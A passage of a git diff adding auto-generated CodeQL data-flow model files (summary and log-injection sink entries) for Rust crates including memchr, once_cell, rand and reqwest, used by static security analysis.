["repo:https://github.com/BurntSushi/memchr:memchr", "::new", "Argument[0]", "ReturnValue.Field[crate::tests::memchr::Runner::needle_len]", "value", "dfc-generated"] + - ["repo:https://github.com/BurntSushi/memchr:memchr", "::fwd", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/BurntSushi/memchr:memchr", "::fwd", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/BurntSushi/memchr:memchr", "::rev", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/BurntSushi/memchr:memchr", "::all_zeros_except_least_significant", "Argument[0]", "ReturnValue", "taint", "df-generated"] + - ["repo:https://github.com/BurntSushi/memchr:memchr", "::and", "Argument[0]", "ReturnValue", "taint", "df-generated"] + - ["repo:https://github.com/BurntSushi/memchr:memchr", "::and", "Argument[self]", "ReturnValue", "taint", "df-generated"] + - ["repo:https://github.com/BurntSushi/memchr:memchr", "::clear_least_significant_bit", "Argument[self]", "ReturnValue", "taint", "df-generated"] + - ["repo:https://github.com/BurntSushi/memchr:memchr", "::or", "Argument[0]", "ReturnValue", "taint", "df-generated"] + - ["repo:https://github.com/BurntSushi/memchr:memchr", "::or", "Argument[self]", "ReturnValue", "taint", "df-generated"] + - ["repo:https://github.com/BurntSushi/memchr:memchr", "::all_zeros_except_least_significant", "Argument[0]", "ReturnValue", "taint", "df-generated"] + - ["repo:https://github.com/BurntSushi/memchr:memchr", "::and", "Argument[0]", "ReturnValue", "taint", "df-generated"] + - ["repo:https://github.com/BurntSushi/memchr:memchr", "::and", "Argument[self]", "ReturnValue", "taint", "df-generated"] + - ["repo:https://github.com/BurntSushi/memchr:memchr", "::clear_least_significant_bit", "Argument[self]", "ReturnValue", "taint", "df-generated"] + - ["repo:https://github.com/BurntSushi/memchr:memchr", "::or", "Argument[0]", "ReturnValue", "taint", "df-generated"] + - ["repo:https://github.com/BurntSushi/memchr:memchr", "::or", "Argument[self]", "ReturnValue", "taint", "df-generated"] + - ["repo:https://github.com/BurntSushi/memchr:memchr", "::to_char", "Argument[self]", "ReturnValue", "taint", "df-generated"] + - ["repo:https://github.com/BurntSushi/memchr:memchr", "crate::arch::generic::memchr::count_byte_by_byte", "Argument[0].Reference", "Argument[2].Parameter[0]", "value", "dfc-generated"] + - ["repo:https://github.com/BurntSushi/memchr:memchr", "crate::arch::generic::memchr::fwd_byte_by_byte", "Argument[0].Reference", "Argument[2].Parameter[0]", "value", "dfc-generated"] + - ["repo:https://github.com/BurntSushi/memchr:memchr", "crate::arch::generic::memchr::fwd_byte_by_byte", "Argument[0]", "ReturnValue.Field[crate::option::Option::Some(0)]", "value", "dfc-generated"] + - ["repo:https://github.com/BurntSushi/memchr:memchr", "crate::arch::generic::memchr::search_slice_with_raw", "Argument[0]", "Argument[1]", "taint", "df-generated"] + - ["repo:https://github.com/BurntSushi/memchr:memchr", "crate::arch::generic::memchr::search_slice_with_raw", "Argument[0]", "ReturnValue", "taint", "df-generated"] + - ["repo:https://github.com/BurntSushi/memchr:memchr", "crate::arch::generic::memchr::search_slice_with_raw", "Argument[1]", "ReturnValue", "taint", "df-generated"] + - ["repo:https://github.com/BurntSushi/memchr:memchr", "crate::memchr::memchr2_iter", "Argument[0]", "ReturnValue.Field[crate::memchr::Memchr2::needle1]", "value", "dfc-generated"] + - ["repo:https://github.com/BurntSushi/memchr:memchr", "crate::memchr::memchr2_iter", "Argument[1]", "ReturnValue.Field[crate::memchr::Memchr2::needle2]", "value", "dfc-generated"] + - ["repo:https://github.com/BurntSushi/memchr:memchr", "crate::memchr::memchr3_iter", "Argument[0]", "ReturnValue.Field[crate::memchr::Memchr3::needle1]", "value", "dfc-generated"] + - ["repo:https://github.com/BurntSushi/memchr:memchr", "crate::memchr::memchr3_iter", "Argument[1]", "ReturnValue.Field[crate::memchr::Memchr3::needle2]", "value", "dfc-generated"] + - ["repo:https://github.com/BurntSushi/memchr:memchr", "crate::memchr::memchr3_iter", "Argument[2]", "ReturnValue.Field[crate::memchr::Memchr3::needle3]", "value", "dfc-generated"] + - ["repo:https://github.com/BurntSushi/memchr:memchr", "crate::memchr::memchr_iter", "Argument[0]", "ReturnValue.Field[crate::memchr::Memchr::needle1]", "value", "dfc-generated"] + - ["repo:https://github.com/BurntSushi/memchr:memchr", "crate::memmem::find", "Argument[0]", "ReturnValue", "taint", "df-generated"] + - ["repo:https://github.com/BurntSushi/memchr:memchr", "crate::memmem::find_iter", "Argument[0]", "ReturnValue.Field[crate::memmem::FindIter::haystack]", "value", "dfc-generated"] + - ["repo:https://github.com/BurntSushi/memchr:memchr", "crate::memmem::rfind_iter", "Argument[0]", "ReturnValue.Field[crate::memmem::FindRevIter::haystack]", "value", "dfc-generated"] + - ["repo:https://github.com/BurntSushi/memchr:memchr", "crate::tests::substring::prop::prefix_is_substring", "Argument[0].Element", "Argument[1].Parameter[1].Reference", "value", "dfc-generated"] + - ["repo:https://github.com/BurntSushi/memchr:memchr", "crate::tests::substring::prop::prefix_is_substring", "Argument[0]", "Argument[1].Parameter[0]", "value", "dfc-generated"] + - ["repo:https://github.com/BurntSushi/memchr:memchr", "crate::tests::substring::prop::same_as_naive", "Argument[1]", "Argument[3].Parameter[0]", "value", "dfc-generated"] + - ["repo:https://github.com/BurntSushi/memchr:memchr", "crate::tests::substring::prop::same_as_naive", "Argument[2]", "Argument[3].Parameter[1]", "value", "dfc-generated"] + - ["repo:https://github.com/BurntSushi/memchr:memchr", "crate::tests::substring::prop::suffix_is_substring", "Argument[0].Element", "Argument[1].Parameter[1].Reference", "value", "dfc-generated"] + - ["repo:https://github.com/BurntSushi/memchr:memchr", "crate::tests::substring::prop::suffix_is_substring", "Argument[0]", "Argument[1].Parameter[0]", "value", "dfc-generated"] + - addsTo: + pack: codeql/rust-all + extensible: sinkModel + data: + - ["repo:https://github.com/BurntSushi/memchr:memchr", "::find", "Argument[self]", "log-injection", "df-generated"] + - ["repo:https://github.com/BurntSushi/memchr:memchr", "::find_prefilter", "Argument[self]", "log-injection", "df-generated"] diff --git a/rust/ql/lib/ext/generated/memchr/repo-shared.model.yml b/rust/ql/lib/ext/generated/memchr/repo-shared.model.yml new file mode 100644 index 000000000000..792aa942c4dc --- /dev/null +++ b/rust/ql/lib/ext/generated/memchr/repo-shared.model.yml @@ -0,0 +1,27 @@ +# THIS FILE IS AN AUTO-GENERATED MODELS AS DATA FILE. DO NOT EDIT. +extensions: + - addsTo: + pack: codeql/rust-all + extensible: summaryModel + data: + - ["repo::shared", "::one_needle", "Argument[self].Field[crate::Benchmark::needles].Element", "ReturnValue.Field[crate::result::Result::Ok(0)].Reference", "value", "dfc-generated"] + - ["repo::shared", "::one_needle_byte", "Argument[self]", "ReturnValue", "taint", "df-generated"] + - ["repo::shared", "::three_needle_bytes", "Argument[self]", "ReturnValue", "taint", "df-generated"] + - ["repo::shared", "::two_needle_bytes", "Argument[self]", "ReturnValue", "taint", "df-generated"] + - ["repo::shared", "crate::count_memchr2", "Argument[0]", "Argument[3].Parameter[0]", "value", "dfc-generated"] + - ["repo::shared", "crate::count_memchr2", "Argument[1]", "Argument[3].Parameter[1]", "value", "dfc-generated"] + - ["repo::shared", "crate::count_memchr2", "Argument[2]", "Argument[3].Parameter[2]", "value", "dfc-generated"] + - ["repo::shared", "crate::count_memchr3", "Argument[0]", "Argument[4].Parameter[0]", "value", "dfc-generated"] + - ["repo::shared", "crate::count_memchr3", "Argument[1]", "Argument[4].Parameter[1]", "value", "dfc-generated"] + - ["repo::shared", "crate::count_memchr3", "Argument[2]", "Argument[4].Parameter[2]", "value", "dfc-generated"] + - ["repo::shared", "crate::count_memchr3", "Argument[3]", "Argument[4].Parameter[3]", "value", "dfc-generated"] + - ["repo::shared", "crate::count_memchr", "Argument[0]", "Argument[2].Parameter[0]", "value", "dfc-generated"] + - ["repo::shared", "crate::count_memchr", "Argument[1]", "Argument[2].Parameter[1]", "value", "dfc-generated"] + - ["repo::shared", "crate::count_memmem", "Argument[0]", "Argument[2].Parameter[0]", "value", "dfc-generated"] + - ["repo::shared", "crate::count_memmem", "Argument[1]", "Argument[2].Parameter[1]", "value", "dfc-generated"] + - ["repo::shared", "crate::count_memmem_str", "Argument[0]", "Argument[2].Parameter[0]", "value", "dfc-generated"] + - ["repo::shared", "crate::count_memmem_str", "Argument[1]", "Argument[2].Parameter[1]", "value", "dfc-generated"] + - ["repo::shared", "crate::run", "Argument[1]", "ReturnValue", "taint", "df-generated"] + - ["repo::shared", "crate::run_and_count", "Argument[1]", "ReturnValue", "taint", "df-generated"] + - ["repo::shared", "crate::run_and_count", "Argument[2]", "Argument[1]", "taint", "df-generated"] + - ["repo::shared", "crate::run_and_count", "Argument[2]", "ReturnValue", "taint", "df-generated"] diff --git a/rust/ql/lib/ext/generated/once_cell/repo-https-github.com-matklad-once_cell-once_cell.model.yml b/rust/ql/lib/ext/generated/once_cell/repo-https-github.com-matklad-once_cell-once_cell.model.yml new file mode 100644 index 000000000000..deaaf890d15b --- /dev/null +++ b/rust/ql/lib/ext/generated/once_cell/repo-https-github.com-matklad-once_cell-once_cell.model.yml @@ -0,0 +1,21 @@ +# THIS FILE IS AN AUTO-GENERATED MODELS AS DATA FILE. DO NOT EDIT. +extensions: + - addsTo: + pack: codeql/rust-all + extensible: summaryModel + data: + - ["repo:https://github.com/matklad/once_cell:once_cell", "::get_or_init", "Argument[0]", "ReturnValue", "taint", "df-generated"] + - ["repo:https://github.com/matklad/once_cell:once_cell", "::get_or_try_init", "Argument[0].ReturnValue", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/matklad/once_cell:once_cell", "::get_or_init", "Argument[0].ReturnValue", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/matklad/once_cell:once_cell", "::get_or_try_init", "Argument[0]", "ReturnValue", "taint", "df-generated"] + - ["repo:https://github.com/matklad/once_cell:once_cell", "::get_or_init", "Argument[0]", "ReturnValue", "taint", "df-generated"] + - ["repo:https://github.com/matklad/once_cell:once_cell", "::get_or_try_init", "Argument[0].ReturnValue", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/matklad/once_cell:once_cell", "::clone_from", "Argument[0].Reference", "Argument[self].Reference", "value", "dfc-generated"] + - ["repo:https://github.com/matklad/once_cell:once_cell", "::set", "Argument[0]", "ReturnValue.Field[crate::result::Result::Err(0)]", "value", "dfc-generated"] + - ["repo:https://github.com/matklad/once_cell:once_cell", "::try_insert", "Argument[0]", "ReturnValue.Field[crate::result::Result::Err(0)].Field[1]", "value", "dfc-generated"] + - ["repo:https://github.com/matklad/once_cell:once_cell", "::clone_from", "Argument[0].Reference", "Argument[self].Reference", "value", "dfc-generated"] + - ["repo:https://github.com/matklad/once_cell:once_cell", "::get_or_init", "Argument[0]", "ReturnValue", "taint", "df-generated"] + - ["repo:https://github.com/matklad/once_cell:once_cell", "::get_or_try_init", "Argument[0].ReturnValue", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/matklad/once_cell:once_cell", "::set", "Argument[0]", "ReturnValue.Field[crate::result::Result::Err(0)]", "value", "dfc-generated"] + - ["repo:https://github.com/matklad/once_cell:once_cell", "::try_insert", "Argument[0]", "ReturnValue.Field[crate::result::Result::Err(0)].Field[1]", "value", "dfc-generated"] + - ["repo:https://github.com/matklad/once_cell:once_cell", "::try_insert", "Argument[0]", "ReturnValue.Field[crate::result::Result::Ok(0)].Reference", "value", "dfc-generated"] diff --git a/rust/ql/lib/ext/generated/rand/repo-benches.model.yml b/rust/ql/lib/ext/generated/rand/repo-benches.model.yml new file mode 100644 index 000000000000..a16a29a127f5 --- /dev/null +++ b/rust/ql/lib/ext/generated/rand/repo-benches.model.yml @@ -0,0 +1,9 @@ +# THIS FILE IS AN AUTO-GENERATED MODELS AS DATA FILE. DO NOT EDIT. +extensions: + - addsTo: + pack: codeql/rust-all + extensible: summaryModel + data: + - ["repo::benches", "::next", "Argument[self].Field[crate::UnhintedIterator::iter].Element", "ReturnValue.Field[crate::option::Option::Some(0)]", "value", "dfc-generated"] + - ["repo::benches", "::next", "Argument[self].Field[crate::WindowHintedIterator::iter].Element", "ReturnValue.Field[crate::option::Option::Some(0)]", "value", "dfc-generated"] + - ["repo::benches", "::size_hint", "Argument[self].Field[crate::WindowHintedIterator::window_size]", "ReturnValue.Field[0]", "value", "dfc-generated"] diff --git a/rust/ql/lib/ext/generated/rand/repo-https-github.com-rust-random-rand-rand.model.yml b/rust/ql/lib/ext/generated/rand/repo-https-github.com-rust-random-rand-rand.model.yml new file mode 100644 index 000000000000..682e25457132 --- /dev/null +++ b/rust/ql/lib/ext/generated/rand/repo-https-github.com-rust-random-rand-rand.model.yml @@ -0,0 +1,63 @@ +# THIS FILE IS AN AUTO-GENERATED MODELS AS DATA FILE. DO NOT EDIT. +extensions: + - addsTo: + pack: codeql/rust-all + extensible: summaryModel + data: + - ["repo:https://github.com/rust-random/rand:rand", "<&_ as crate::distr::uniform::SampleBorrow>::borrow", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/rust-random/rand:rand", "<_ as crate::distr::uniform::SampleBorrow>::borrow", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/rust-random/rand:rand", "::any", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/rust-random/rand:rand", "::replace", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/rust-random/rand:rand", "::from_ratio", "Argument[0]", "ReturnValue", "taint", "df-generated"] + - ["repo:https://github.com/rust-random/rand:rand", "::from_ratio", "Argument[1]", "ReturnValue", "taint", "df-generated"] + - ["repo:https://github.com/rust-random/rand:rand", "::new", "Argument[0]", "ReturnValue", "taint", "df-generated"] + - ["repo:https://github.com/rust-random/rand:rand", "::p", "Argument[self]", "ReturnValue", "taint", "df-generated"] + - ["repo:https://github.com/rust-random/rand:rand", "::sample", "Argument[self]", "ReturnValue", "taint", "df-generated"] + - ["repo:https://github.com/rust-random/rand:rand", "::new", "Argument[0]", "ReturnValue.Field[crate::result::Result::Ok(0)].Field[crate::distr::slice::Choose::slice]", "value", "dfc-generated"] + - ["repo:https://github.com/rust-random/rand:rand", "::num_choices", "Argument[self].Field[crate::distr::slice::Choose::num_choices]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/rust-random/rand:rand", "::sample", "Argument[self]", "ReturnValue", "taint", "df-generated"] + - ["repo:https://github.com/rust-random/rand:rand", "::total_weight", "Argument[self].Field[crate::distr::weighted::weighted_index::WeightedIndex::total_weight].Reference", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/rust-random/rand:rand", "::total_weight", "Argument[self].Field[crate::distr::weighted::weighted_index::WeightedIndex::total_weight]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/rust-random/rand:rand", "::update_weights", "Argument[self].Field[crate::distr::weighted::weighted_index::WeightedIndex::total_weight].Reference", "Argument[self].Field[crate::distr::weighted::weighted_index::WeightedIndex::total_weight]", "value", "dfc-generated"] + - ["repo:https://github.com/rust-random/rand:rand", "::weight", "Argument[self].Field[crate::distr::weighted::weighted_index::WeightedIndex::total_weight].Reference", "ReturnValue.Field[crate::option::Option::Some(0)]", "value", "dfc-generated"] + - ["repo:https://github.com/rust-random/rand:rand", "::weight", "Argument[self].Field[crate::distr::weighted::weighted_index::WeightedIndex::total_weight]", "ReturnValue.Field[crate::option::Option::Some(0)]", "value", "dfc-generated"] + - ["repo:https://github.com/rust-random/rand:rand", "::weights", "Argument[self]", "ReturnValue.Field[crate::distr::weighted::weighted_index::WeightedIndexIter::weighted_index]", "value", "dfc-generated"] + - ["repo:https://github.com/rust-random/rand:rand", "::clone", "Argument[self].Field[crate::distr::weighted::weighted_index::WeightedIndexIter::index]", "ReturnValue.Field[crate::distr::weighted::weighted_index::WeightedIndexIter::index]", "value", "dfc-generated"] + - ["repo:https://github.com/rust-random/rand:rand", "::clone", "Argument[self].Field[crate::distr::weighted::weighted_index::WeightedIndexIter::weighted_index]", "ReturnValue.Field[crate::distr::weighted::weighted_index::WeightedIndexIter::weighted_index]", "value", "dfc-generated"] + - ["repo:https://github.com/rust-random/rand:rand", "::next_u32", "Argument[self]", "ReturnValue", "taint", "df-generated"] + - ["repo:https://github.com/rust-random/rand:rand", "::next_u64", "Argument[self].Field[crate::rngs::mock::StepRng::v]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/rust-random/rand:rand", "::new", "Argument[0]", "ReturnValue.Field[crate::rngs::mock::StepRng::v]", "value", "dfc-generated"] + - ["repo:https://github.com/rust-random/rand:rand", "::new", "Argument[1]", "ReturnValue.Field[crate::rngs::mock::StepRng::a]", "value", "dfc-generated"] + - ["repo:https://github.com/rust-random/rand:rand", "::clone", "Argument[self]", "ReturnValue", "taint", "df-generated"] + - ["repo:https://github.com/rust-random/rand:rand", "::new", "Argument[1]", "ReturnValue.Field[crate::rngs::reseeding::ReseedingCore::reseeder]", "value", "dfc-generated"] + - ["repo:https://github.com/rust-random/rand:rand", "::new", "Argument[0]", "ReturnValue.Field[crate::seq::coin_flipper::CoinFlipper::rng]", "value", "dfc-generated"] + - ["repo:https://github.com/rust-random/rand:rand", "::new", "Argument[0]", "ReturnValue.Field[crate::seq::increasing_uniform::IncreasingUniform::rng]", "value", "dfc-generated"] + - ["repo:https://github.com/rust-random/rand:rand", "::new", "Argument[1]", "ReturnValue.Field[crate::seq::increasing_uniform::IncreasingUniform::n]", "value", "dfc-generated"] + - ["repo:https://github.com/rust-random/rand:rand", "::next_index", "Argument[self]", "ReturnValue", "taint", "df-generated"] + - ["repo:https://github.com/rust-random/rand:rand", "::from", "Argument[0]", "ReturnValue.Field[crate::seq::index_::IndexVec::U32(0)]", "value", "dfc-generated"] + - ["repo:https://github.com/rust-random/rand:rand", "::from", "Argument[0]", "ReturnValue.Field[crate::seq::index_::IndexVec::U64(0)]", "value", "dfc-generated"] + - ["repo:https://github.com/rust-random/rand:rand", "::index", "Argument[self]", "ReturnValue", "taint", "df-generated"] + - ["repo:https://github.com/rust-random/rand:rand", "::next", "Argument[self]", "ReturnValue", "taint", "df-generated"] + - ["repo:https://github.com/rust-random/rand:rand", "::next", "Argument[self].Field[crate::seq::iterator::test::ChunkHintedIterator::chunk_size]", "Argument[self].Field[crate::seq::iterator::test::ChunkHintedIterator::chunk_remaining]", "value", "dfc-generated"] + - ["repo:https://github.com/rust-random/rand:rand", "::next", "Argument[self].Field[crate::seq::iterator::test::ChunkHintedIterator::iter].Element", "ReturnValue.Field[crate::option::Option::Some(0)]", "value", "dfc-generated"] + - ["repo:https://github.com/rust-random/rand:rand", "::size_hint", "Argument[self].Field[crate::seq::iterator::test::ChunkHintedIterator::chunk_remaining]", "ReturnValue.Field[0]", "value", "dfc-generated"] + - ["repo:https://github.com/rust-random/rand:rand", "::next", "Argument[self].Field[crate::seq::iterator::test::UnhintedIterator::iter].Element", "ReturnValue.Field[crate::option::Option::Some(0)]", "value", "dfc-generated"] + - ["repo:https://github.com/rust-random/rand:rand", "::next", "Argument[self].Field[crate::seq::iterator::test::WindowHintedIterator::iter].Element", "ReturnValue.Field[crate::option::Option::Some(0)]", "value", "dfc-generated"] + - ["repo:https://github.com/rust-random/rand:rand", "::size_hint", "Argument[self].Field[crate::seq::iterator::test::WindowHintedIterator::window_size]", "ReturnValue.Field[0]", "value", "dfc-generated"] + - ["repo:https://github.com/rust-random/rand:rand", "::next", "Argument[self]", "ReturnValue", "taint", "df-generated"] + - ["repo:https://github.com/rust-random/rand:rand", "::extract_lane", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/rust-random/rand:rand", "::replace", "Argument[1]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/rust-random/rand:rand", "::cast_from_int", "Argument[0]", "ReturnValue", "taint", "df-generated"] + - ["repo:https://github.com/rust-random/rand:rand", "::extract_lane", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/rust-random/rand:rand", "::replace", "Argument[1]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/rust-random/rand:rand", "::cast_from_int", "Argument[0]", "ReturnValue", "taint", "df-generated"] + - ["repo:https://github.com/rust-random/rand:rand", "::wmul", "Argument[0]", "ReturnValue", "taint", "df-generated"] + - ["repo:https://github.com/rust-random/rand:rand", "::wmul", "Argument[self]", "ReturnValue", "taint", "df-generated"] + - ["repo:https://github.com/rust-random/rand:rand", "::wmul", "Argument[0]", "ReturnValue", "taint", "df-generated"] + - ["repo:https://github.com/rust-random/rand:rand", "::wmul", "Argument[self]", "ReturnValue", "taint", "df-generated"] + - ["repo:https://github.com/rust-random/rand:rand", "::as_usize", "Argument[self]", "ReturnValue", "taint", "df-generated"] + - ["repo:https://github.com/rust-random/rand:rand", "::wmul", "Argument[0]", "ReturnValue", "taint", "df-generated"] + - ["repo:https://github.com/rust-random/rand:rand", "::wmul", "Argument[self]", "ReturnValue", "taint", "df-generated"] + - ["repo:https://github.com/rust-random/rand:rand", "::as_usize", "Argument[self]", "ReturnValue", "taint", "df-generated"] + - ["repo:https://github.com/rust-random/rand:rand", "::wmul", "Argument[0]", "ReturnValue", "taint", "df-generated"] + - ["repo:https://github.com/rust-random/rand:rand", "::wmul", "Argument[self]", "ReturnValue", "taint", "df-generated"] diff --git a/rust/ql/lib/ext/generated/rand/repo-https-github.com-rust-random-rand-rand_chacha.model.yml b/rust/ql/lib/ext/generated/rand/repo-https-github.com-rust-random-rand-rand_chacha.model.yml new file mode 100644 index 000000000000..456b8c7e3e74 --- /dev/null +++ b/rust/ql/lib/ext/generated/rand/repo-https-github.com-rust-random-rand-rand_chacha.model.yml @@ -0,0 +1,16 @@ +# THIS FILE IS AN AUTO-GENERATED MODELS AS DATA FILE. DO NOT EDIT. +extensions: + - addsTo: + pack: codeql/rust-all + extensible: summaryModel + data: + - ["repo:https://github.com/rust-random/rand:rand_chacha", "::as_mut", "Argument[self].Field[0]", "ReturnValue.Reference", "value", "dfc-generated"] + - ["repo:https://github.com/rust-random/rand:rand_chacha", "::as_mut", "Argument[self].Field[crate::chacha::Array64(0)]", "ReturnValue.Reference", "value", "dfc-generated"] + - ["repo:https://github.com/rust-random/rand:rand_chacha", "::as_ref", "Argument[self].Field[0]", "ReturnValue.Reference", "value", "dfc-generated"] + - ["repo:https://github.com/rust-random/rand:rand_chacha", "::as_ref", "Argument[self].Field[crate::chacha::Array64(0)]", "ReturnValue.Reference", "value", "dfc-generated"] + - ["repo:https://github.com/rust-random/rand:rand_chacha", "::from", "Argument[0]", "ReturnValue.Field[crate::chacha::ChaCha12Rng::rng].Field[crate::block::BlockRng::core]", "value", "dfc-generated"] + - ["repo:https://github.com/rust-random/rand:rand_chacha", "::from", "Argument[0]", "ReturnValue.Field[crate::chacha::ChaCha20Rng::rng].Field[crate::block::BlockRng::core]", "value", "dfc-generated"] + - ["repo:https://github.com/rust-random/rand:rand_chacha", "::from", "Argument[0]", "ReturnValue.Field[crate::chacha::ChaCha8Rng::rng].Field[crate::block::BlockRng::core]", "value", "dfc-generated"] + - ["repo:https://github.com/rust-random/rand:rand_chacha", "crate::guts::diagonalize", "Argument[0]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/rust-random/rand:rand_chacha", "crate::guts::round", "Argument[0]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/rust-random/rand:rand_chacha", "crate::guts::undiagonalize", "Argument[0]", "ReturnValue", "value", "dfc-generated"] diff --git a/rust/ql/lib/ext/generated/rand/repo-https-github.com-rust-random-rand-rand_core.model.yml b/rust/ql/lib/ext/generated/rand/repo-https-github.com-rust-random-rand-rand_core.model.yml new file mode 100644 index 000000000000..013eb600dc67 --- /dev/null +++ b/rust/ql/lib/ext/generated/rand/repo-https-github.com-rust-random-rand-rand_core.model.yml @@ -0,0 +1,15 @@ +# THIS FILE IS AN AUTO-GENERATED MODELS AS DATA FILE. DO NOT EDIT. +extensions: + - addsTo: + pack: codeql/rust-all + extensible: summaryModel + data: + - ["repo:https://github.com/rust-random/rand:rand_core", "::re", "Argument[self].Field[0]", "ReturnValue.Field[crate::UnwrapMut(0)]", "value", "dfc-generated"] + - ["repo:https://github.com/rust-random/rand:rand_core", "::re", "Argument[self].Field[crate::UnwrapMut(0)]", "ReturnValue.Field[crate::UnwrapMut(0)]", "value", "dfc-generated"] + - ["repo:https://github.com/rust-random/rand:rand_core", "::next_u32", "Argument[self]", "ReturnValue", "taint", "df-generated"] + - ["repo:https://github.com/rust-random/rand:rand_core", "::generate_and_set", "Argument[0]", "Argument[self].Field[crate::block::BlockRng64::index]", "value", "dfc-generated"] + - ["repo:https://github.com/rust-random/rand:rand_core", "::index", "Argument[self].Field[crate::block::BlockRng64::index]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/rust-random/rand:rand_core", "::new", "Argument[0]", "ReturnValue.Field[crate::block::BlockRng64::core]", "value", "dfc-generated"] + - ["repo:https://github.com/rust-random/rand:rand_core", "::generate_and_set", "Argument[0]", "Argument[self].Field[crate::block::BlockRng::index]", "value", "dfc-generated"] + - ["repo:https://github.com/rust-random/rand:rand_core", "::index", "Argument[self].Field[crate::block::BlockRng::index]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/rust-random/rand:rand_core", "::new", "Argument[0]", "ReturnValue.Field[crate::block::BlockRng::core]", "value", "dfc-generated"] diff --git a/rust/ql/lib/ext/generated/rand/repo-https-github.com-rust-random-rand-rand_pcg.model.yml b/rust/ql/lib/ext/generated/rand/repo-https-github.com-rust-random-rand-rand_pcg.model.yml new file mode 100644 index 000000000000..054d5e8ca16a --- /dev/null +++ b/rust/ql/lib/ext/generated/rand/repo-https-github.com-rust-random-rand-rand_pcg.model.yml @@ -0,0 +1,10 @@ +# THIS FILE IS AN AUTO-GENERATED MODELS AS DATA FILE. DO NOT EDIT. +extensions: + - addsTo: + pack: codeql/rust-all + extensible: summaryModel + data: + - ["repo:https://github.com/rust-random/rand:rand_pcg", "::new", "Argument[0]", "ReturnValue.Field[crate::pcg128::Lcg128Xsl64::state]", "value", "dfc-generated"] + - ["repo:https://github.com/rust-random/rand:rand_pcg", "::new", "Argument[0]", "ReturnValue", "taint", "df-generated"] + - ["repo:https://github.com/rust-random/rand:rand_pcg", "::new", "Argument[0]", "ReturnValue.Field[crate::pcg128cm::Lcg128CmDxsm64::state]", "value", "dfc-generated"] + - ["repo:https://github.com/rust-random/rand:rand_pcg", "::new", "Argument[0]", "ReturnValue.Field[crate::pcg64::Lcg64Xsh32::state]", "value", "dfc-generated"] diff --git a/rust/ql/lib/ext/generated/reqwest/repo-https-github.com-seanmonstar-reqwest-reqwest.model.yml b/rust/ql/lib/ext/generated/reqwest/repo-https-github.com-seanmonstar-reqwest-reqwest.model.yml index 53f2675a0c0b..7355d362c71e 100644 --- a/rust/ql/lib/ext/generated/reqwest/repo-https-github.com-seanmonstar-reqwest-reqwest.model.yml +++ b/rust/ql/lib/ext/generated/reqwest/repo-https-github.com-seanmonstar-reqwest-reqwest.model.yml @@ -1,5 +1,374 @@ # THIS FILE IS AN AUTO-GENERATED MODELS AS DATA FILE. DO NOT EDIT. extensions: + - addsTo: + pack: codeql/rust-all + extensible: summaryModel + data: + - ["repo:https://github.com/seanmonstar/reqwest:reqwest", "<&str as crate::into_url::IntoUrlSealed>::as_str", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/seanmonstar/reqwest:reqwest", "<&str as crate::into_url::IntoUrlSealed>::into_url", "Argument[self]", "ReturnValue", "taint", "df-generated"] + - ["repo:https://github.com/seanmonstar/reqwest:reqwest", "::into_url", "Argument[self]", "ReturnValue.Field[crate::result::Result::Ok(0)]", "value", "dfc-generated"] + - ["repo:https://github.com/seanmonstar/reqwest:reqwest", "::from", "Argument[0]", "ReturnValue.Field[crate::async_impl::body::Body::inner].Field[crate::async_impl::body::Inner::Reusable(0)]", "value", "dfc-generated"] + - ["repo:https://github.com/seanmonstar/reqwest:reqwest", "::into_stream", "Argument[self]", "ReturnValue.Field[crate::async_impl::body::DataStream(0)]", "value", "dfc-generated"] + - ["repo:https://github.com/seanmonstar/reqwest:reqwest", "::reusable", "Argument[0]", "ReturnValue.Field[crate::async_impl::body::Body::inner].Field[crate::async_impl::body::Inner::Reusable(0)]", "value", "dfc-generated"] + - ["repo:https://github.com/seanmonstar/reqwest:reqwest", "::try_reuse", "Argument[self].Field[crate::async_impl::body::Body::inner].Field[crate::async_impl::body::Inner::Reusable(0)]", "ReturnValue.Field[0].Field[crate::option::Option::Some(0)]", "value", "dfc-generated"] + - ["repo:https://github.com/seanmonstar/reqwest:reqwest", "::try_reuse", "Argument[self]", "ReturnValue.Field[1]", "value", "dfc-generated"] + - ["repo:https://github.com/seanmonstar/reqwest:reqwest", "::delete", "Argument[self].Reference", "ReturnValue.Field[crate::async_impl::request::RequestBuilder::client]", "value", "dfc-generated"] + - ["repo:https://github.com/seanmonstar/reqwest:reqwest", "::get", "Argument[self].Reference", "ReturnValue.Field[crate::async_impl::request::RequestBuilder::client]", "value", "dfc-generated"] + - ["repo:https://github.com/seanmonstar/reqwest:reqwest", "::head", "Argument[self].Reference", "ReturnValue.Field[crate::async_impl::request::RequestBuilder::client]", "value", "dfc-generated"] + - ["repo:https://github.com/seanmonstar/reqwest:reqwest", "::patch", "Argument[self].Reference", "ReturnValue.Field[crate::async_impl::request::RequestBuilder::client]", "value", "dfc-generated"] + - ["repo:https://github.com/seanmonstar/reqwest:reqwest", "::post", "Argument[self].Reference", "ReturnValue.Field[crate::async_impl::request::RequestBuilder::client]", "value", "dfc-generated"] + - 